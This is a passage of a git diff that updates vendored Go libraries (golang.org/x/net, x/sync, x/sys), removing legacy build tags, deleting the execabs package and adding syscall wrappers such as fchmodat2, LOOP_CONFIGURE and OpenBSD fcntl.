a/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go b/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go index 598fbfa06f..6a53284dbe 100644 --- a/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go +++ b/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build loong64 -// +build loong64 package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go b/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go index d4f78e405a..13b3472057 100644 --- a/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go +++ b/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build riscv64 -// +build riscv64 package ipv6 diff --git a/vendor/golang.org/x/net/route/address.go b/vendor/golang.org/x/net/route/address.go index 5a3cc06549..5443d67223 100644 --- a/vendor/golang.org/x/net/route/address.go +++ b/vendor/golang.org/x/net/route/address.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/binary.go b/vendor/golang.org/x/net/route/binary.go index a5e28f1e9c..db3f7e0c2a 100644 --- a/vendor/golang.org/x/net/route/binary.go +++ b/vendor/golang.org/x/net/route/binary.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/empty.s b/vendor/golang.org/x/net/route/empty.s index 90ab4ca3d8..49d79791e0 100644 --- a/vendor/golang.org/x/net/route/empty.s +++ b/vendor/golang.org/x/net/route/empty.s @@ -3,6 +3,5 @@ // license that can be found in the LICENSE file. //go:build darwin && go1.12 -// +build darwin,go1.12 // This exists solely so we can linkname in symbols from syscall. diff --git a/vendor/golang.org/x/net/route/interface.go b/vendor/golang.org/x/net/route/interface.go index 9e9407830c..0aa70555ca 100644 --- a/vendor/golang.org/x/net/route/interface.go +++ b/vendor/golang.org/x/net/route/interface.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/interface_announce.go b/vendor/golang.org/x/net/route/interface_announce.go index 8282bfe9e2..70614c1b1a 100644 --- a/vendor/golang.org/x/net/route/interface_announce.go +++ b/vendor/golang.org/x/net/route/interface_announce.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build dragonfly || freebsd || netbsd -// +build dragonfly freebsd netbsd package route diff --git a/vendor/golang.org/x/net/route/interface_classic.go b/vendor/golang.org/x/net/route/interface_classic.go index 903a196346..be1bf2652e 100644 --- a/vendor/golang.org/x/net/route/interface_classic.go +++ b/vendor/golang.org/x/net/route/interface_classic.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || netbsd -// +build darwin dragonfly netbsd package route diff --git a/vendor/golang.org/x/net/route/interface_multicast.go b/vendor/golang.org/x/net/route/interface_multicast.go index dd0b214baa..2ee37b9c74 100644 --- a/vendor/golang.org/x/net/route/interface_multicast.go +++ b/vendor/golang.org/x/net/route/interface_multicast.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd -// +build darwin dragonfly freebsd package route diff --git a/vendor/golang.org/x/net/route/message.go b/vendor/golang.org/x/net/route/message.go index 456a8363fe..dc8bfc5b3a 100644 --- a/vendor/golang.org/x/net/route/message.go +++ b/vendor/golang.org/x/net/route/message.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/route.go b/vendor/golang.org/x/net/route/route.go index 3ab5bcdc01..ca2ce2b887 100644 --- a/vendor/golang.org/x/net/route/route.go +++ b/vendor/golang.org/x/net/route/route.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd // Package route provides basic functions for the manipulation of // packet routing facilities on BSD variants. diff --git a/vendor/golang.org/x/net/route/route_classic.go b/vendor/golang.org/x/net/route/route_classic.go index d6ee42f1b1..e273fe39ab 100644 --- a/vendor/golang.org/x/net/route/route_classic.go +++ b/vendor/golang.org/x/net/route/route_classic.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd -// +build darwin dragonfly freebsd netbsd package route diff --git a/vendor/golang.org/x/net/route/sys.go b/vendor/golang.org/x/net/route/sys.go index 7c75574f18..fcebee58ec 100644 --- a/vendor/golang.org/x/net/route/sys.go +++ b/vendor/golang.org/x/net/route/sys.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/syscall.go b/vendor/golang.org/x/net/route/syscall.go index 68d37c9621..0ed53750a2 100644 --- a/vendor/golang.org/x/net/route/syscall.go +++ b/vendor/golang.org/x/net/route/syscall.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/sync/errgroup/go120.go b/vendor/golang.org/x/sync/errgroup/go120.go index 7d419d3760..f93c740b63 100644 --- a/vendor/golang.org/x/sync/errgroup/go120.go +++ b/vendor/golang.org/x/sync/errgroup/go120.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build go1.20 -// +build go1.20 package errgroup diff --git a/vendor/golang.org/x/sync/errgroup/pre_go120.go b/vendor/golang.org/x/sync/errgroup/pre_go120.go index 1795c18ace..88ce33434e 100644 --- a/vendor/golang.org/x/sync/errgroup/pre_go120.go +++ b/vendor/golang.org/x/sync/errgroup/pre_go120.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !go1.20 -// +build !go1.20 package errgroup diff --git a/vendor/golang.org/x/sys/execabs/execabs.go b/vendor/golang.org/x/sys/execabs/execabs.go deleted file mode 100644 index 3bf40fdfec..0000000000 --- a/vendor/golang.org/x/sys/execabs/execabs.go +++ /dev/null @@ -1,102 +0,0 @@ -// Copyright 2020 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package execabs is a drop-in replacement for os/exec -// that requires PATH lookups to find absolute paths. -// That is, execabs.Command("cmd") runs the same PATH lookup -// as exec.Command("cmd"), but if the result is a path -// which is relative, the Run and Start methods will report -// an error instead of running the executable. -// -// See https://blog.golang.org/path-security for more information -// about when it may be necessary or appropriate to use this package. -package execabs - -import ( - "context" - "fmt" - "os/exec" - "path/filepath" - "reflect" - "unsafe" -) - -// ErrNotFound is the error resulting if a path search failed to find an executable file. -// It is an alias for exec.ErrNotFound. -var ErrNotFound = exec.ErrNotFound - -// Cmd represents an external command being prepared or run. -// It is an alias for exec.Cmd. -type Cmd = exec.Cmd - -// Error is returned by LookPath when it fails to classify a file as an executable. -// It is an alias for exec.Error. -type Error = exec.Error - -// An ExitError reports an unsuccessful exit by a command. -// It is an alias for exec.ExitError. -type ExitError = exec.ExitError - -func relError(file, path string) error { - return fmt.Errorf("%s resolves to executable in current directory (.%c%s)", file, filepath.Separator, path) -} - -// LookPath searches for an executable named file in the directories -// named by the PATH environment variable. If file contains a slash, -// it is tried directly and the PATH is not consulted. The result will be -// an absolute path. -// -// LookPath differs from exec.LookPath in its handling of PATH lookups, -// which are used for file names without slashes. If exec.LookPath's -// PATH lookup would have returned an executable from the current directory, -// LookPath instead returns an error. -func LookPath(file string) (string, error) { - path, err := exec.LookPath(file) - if err != nil && !isGo119ErrDot(err) { - return "", err - } - if filepath.Base(file) == file && !filepath.IsAbs(path) { - return "", relError(file, path) - } - return path, nil -} - -func fixCmd(name string, cmd *exec.Cmd) { - if filepath.Base(name) == name && !filepath.IsAbs(cmd.Path) && !isGo119ErrFieldSet(cmd) { - // exec.Command was called with a bare binary name and - // exec.LookPath returned a path which is not absolute. - // Set cmd.lookPathErr and clear cmd.Path so that it - // cannot be run. - lookPathErr := (*error)(unsafe.Pointer(reflect.ValueOf(cmd).Elem().FieldByName("lookPathErr").Addr().Pointer())) - if *lookPathErr == nil { - *lookPathErr = relError(name, cmd.Path) - } - cmd.Path = "" - } -} - -// CommandContext is like Command but includes a context. -// -// The provided context is used to kill the process (by calling os.Process.Kill) -// if the context becomes done before the command completes on its own. -func CommandContext(ctx context.Context, name string, arg ...string) *exec.Cmd { - cmd := exec.CommandContext(ctx, name, arg...) - fixCmd(name, cmd) - return cmd - -} - -// Command returns the Cmd struct to execute the named program with the given arguments. -// See exec.Command for most details. -// -// Command differs from exec.Command in its handling of PATH lookups, -// which are used when the program name contains no slashes. -// If exec.Command would have returned an exec.Cmd configured to run an -// executable from the current directory, Command instead -// returns an exec.Cmd that will return an error from Start or Run. -func Command(name string, arg ...string) *exec.Cmd { - cmd := exec.Command(name, arg...) - fixCmd(name, cmd) - return cmd -} diff --git a/vendor/golang.org/x/sys/execabs/execabs_go118.go b/vendor/golang.org/x/sys/execabs/execabs_go118.go deleted file mode 100644 index 5627d70e39..0000000000 --- a/vendor/golang.org/x/sys/execabs/execabs_go118.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2022 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.19 - -package execabs - -import "os/exec" - -func isGo119ErrDot(err error) bool { - return false -} - -func isGo119ErrFieldSet(cmd *exec.Cmd) bool { - return false -} diff --git a/vendor/golang.org/x/sys/execabs/execabs_go119.go b/vendor/golang.org/x/sys/execabs/execabs_go119.go deleted file mode 100644 index d60ab1b419..0000000000 --- a/vendor/golang.org/x/sys/execabs/execabs_go119.go +++ /dev/null @@ -1,20 +0,0 @@ -// Copyright 2022 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.19 - -package execabs - -import ( - "errors" - "os/exec" -) - -func isGo119ErrDot(err error) bool { - return errors.Is(err, exec.ErrDot) -} - -func isGo119ErrFieldSet(cmd *exec.Cmd) bool { - return cmd.Err != nil -} diff --git a/vendor/golang.org/x/sys/unix/fcntl.go b/vendor/golang.org/x/sys/unix/fcntl.go index 58c6bfc70f..6200876fb2 100644 --- a/vendor/golang.org/x/sys/unix/fcntl.go +++ b/vendor/golang.org/x/sys/unix/fcntl.go @@ -2,7 +2,7 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build dragonfly || freebsd || linux || netbsd || openbsd +//go:build dragonfly || freebsd || linux || netbsd package unix diff --git a/vendor/golang.org/x/sys/unix/ioctl_linux.go b/vendor/golang.org/x/sys/unix/ioctl_linux.go index 0d12c0851a..dbe680eab8 100644 --- a/vendor/golang.org/x/sys/unix/ioctl_linux.go +++ b/vendor/golang.org/x/sys/unix/ioctl_linux.go @@ -231,3 +231,8 @@ func IoctlLoopGetStatus64(fd int) (*LoopInfo64, error) { func IoctlLoopSetStatus64(fd int, value *LoopInfo64) error { return ioctlPtr(fd, LOOP_SET_STATUS64, unsafe.Pointer(value)) } + +// IoctlLoopConfigure configures all loop device parameters in a single step +func IoctlLoopConfigure(fd int, value *LoopConfig) error { + return ioctlPtr(fd, LOOP_CONFIGURE, unsafe.Pointer(value)) +} diff --git a/vendor/golang.org/x/sys/unix/mkerrors.sh b/vendor/golang.org/x/sys/unix/mkerrors.sh index cbe24150a7..6202638bae 100644 --- a/vendor/golang.org/x/sys/unix/mkerrors.sh +++ b/vendor/golang.org/x/sys/unix/mkerrors.sh @@ -519,6 +519,7 @@ ccflags="$@" $2 ~ /^LOCK_(SH|EX|NB|UN)$/ || $2 ~ /^LO_(KEY|NAME)_SIZE$/ || $2 ~ /^LOOP_(CLR|CTL|GET|SET)_/ || + $2 == "LOOP_CONFIGURE" || $2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MREMAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT|UDP)_/ || $2 ~ /^NFC_(GENL|PROTO|COMM|RF|SE|DIRECTION|LLCP|SOCKPROTO)_/ || $2 ~ /^NFC_.*_(MAX)?SIZE$/ || @@ -560,7 +561,7 @@ ccflags="$@" $2 ~ /^RLIMIT_(AS|CORE|CPU|DATA|FSIZE|LOCKS|MEMLOCK|MSGQUEUE|NICE|NOFILE|NPROC|RSS|RTPRIO|RTTIME|SIGPENDING|STACK)|RLIM_INFINITY/ || $2 ~ /^PRIO_(PROCESS|PGRP|USER)/ || $2 ~ /^CLONE_[A-Z_]+/ || - $2 !~ /^(BPF_TIMEVAL|BPF_FIB_LOOKUP_[A-Z]+)$/ && + $2 !~ /^(BPF_TIMEVAL|BPF_FIB_LOOKUP_[A-Z]+|BPF_F_LINK)$/ && $2 ~ /^(BPF|DLT)_/ || $2 ~ /^AUDIT_/ || $2 ~ /^(CLOCK|TIMER)_/ || diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go index 6f328e3a55..a00c3e5450 100644 --- a/vendor/golang.org/x/sys/unix/syscall_bsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go @@ -316,7 +316,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { if err != nil { return "", err } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } //sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go index a5e1c10e34..0f85e29e62 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux.go @@ -61,15 +61,23 @@ func FanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname string) ( } //sys fchmodat(dirfd int, path string, mode uint32) (err error) - -func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { - // Linux fchmodat doesn't support the flags parameter. Mimick glibc's behavior - // and check the flags. Otherwise the mode would be applied to the symlink - // destination which is not what the user expects. - if flags&^AT_SYMLINK_NOFOLLOW != 0 { - return EINVAL - } else if flags&AT_SYMLINK_NOFOLLOW != 0 { - return EOPNOTSUPP +//sys fchmodat2(dirfd int, path string, mode uint32, flags int) (err error) + +func Fchmodat(dirfd int, path string, mode uint32, flags int) error { + // Linux fchmodat doesn't support the flags parameter, but fchmodat2 does. + // Try fchmodat2 if flags are specified. + if flags != 0 { + err := fchmodat2(dirfd, path, mode, flags) + if err == ENOSYS { + // fchmodat2 isn't available. If the flags are known to be valid, + // return EOPNOTSUPP to indicate that fchmodat doesn't support them. + if flags&^(AT_SYMLINK_NOFOLLOW|AT_EMPTY_PATH) != 0 { + return EINVAL + } else if flags&(AT_SYMLINK_NOFOLLOW|AT_EMPTY_PATH) != 0 { + return EOPNOTSUPP + } + } + return err } return fchmodat(dirfd, path, mode) } @@ -1302,7 +1310,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { return "", err } } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } func GetsockoptTpacketStats(fd, level, opt int) (*TpacketStats, error) { diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd.go b/vendor/golang.org/x/sys/unix/syscall_openbsd.go index d2882ee04f..b25343c71a 100644 --- a/vendor/golang.org/x/sys/unix/syscall_openbsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_openbsd.go @@ -166,6 +166,20 @@ func Getresgid() (rgid, egid, sgid int) { //sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL +//sys fcntl(fd int, cmd int, arg int) (n int, err error) +//sys fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) = SYS_FCNTL + +// FcntlInt performs a fcntl syscall on fd with the provided command and argument. +func FcntlInt(fd uintptr, cmd, arg int) (int, error) { + return fcntl(int(fd), cmd, arg) +} + +// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command. +func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error { + _, err := fcntlPtr(int(fd), cmd, unsafe.Pointer(lk)) + return err +} + //sys ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) func Ppoll(fds []PollFd, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go index 60c8142d49..21974af064 100644 --- a/vendor/golang.org/x/sys/unix/syscall_solaris.go +++ b/vendor/golang.org/x/sys/unix/syscall_solaris.go @@ -158,7 +158,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { if err != nil { return "", err } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } const ImplementsGetwd = true diff --git a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go index d99d05f1bc..b473038c61 100644 --- a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go +++ b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go @@ -1104,7 +1104,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { return "", err } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) { diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux.go b/vendor/golang.org/x/sys/unix/zerrors_linux.go index 9c00cbf512..c73cfe2f10 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux.go @@ -486,7 +486,6 @@ const ( BPF_F_ANY_ALIGNMENT = 0x2 BPF_F_BEFORE = 0x8 BPF_F_ID = 0x20 - BPF_F_LINK = 0x2000 BPF_F_NETFILTER_IP_DEFRAG = 0x1 BPF_F_QUERY_EFFECTIVE = 0x1 BPF_F_REPLACE = 0x4 @@ -1802,6 +1801,7 @@ const ( LOCK_SH = 0x1 LOCK_UN = 0x8 LOOP_CLR_FD = 0x4c01 + LOOP_CONFIGURE = 0x4c0a LOOP_CTL_ADD = 0x4c80 LOOP_CTL_GET_FREE = 0x4c82 LOOP_CTL_REMOVE = 0x4c81 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go index faca7a557b..1488d27128 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_linux.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go @@ -37,6 +37,21 @@ func fchmodat(dirfd int, path string, mode uint32) (err error) { // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fchmodat2(dirfd int, path string, mode uint32, flags int) (err error) { + var _p0 *byte + _p0, err = BytePtrFromString(path) + if err != nil { + return + } + _, _, e1 := Syscall6(SYS_FCHMODAT2, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ioctl(fd int, req uint, arg uintptr) (err error) { _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go index 88bfc28857..a1d061597c 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s index 4cbeff171b..41b5617316 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4 DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fcntl_trampoline_addr(SB)/4, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go index b8a67b99af..5b2a740977 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s index 1123f27571..4019a656f6 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go index af50a65c0c..f6eda1344a 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s index 82badae39f..ac4af24f90 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4 DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fcntl_trampoline_addr(SB)/4, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go index 8fb4ff36a7..55df20ae9d 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s index 24d7eecb93..f77d532121 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s 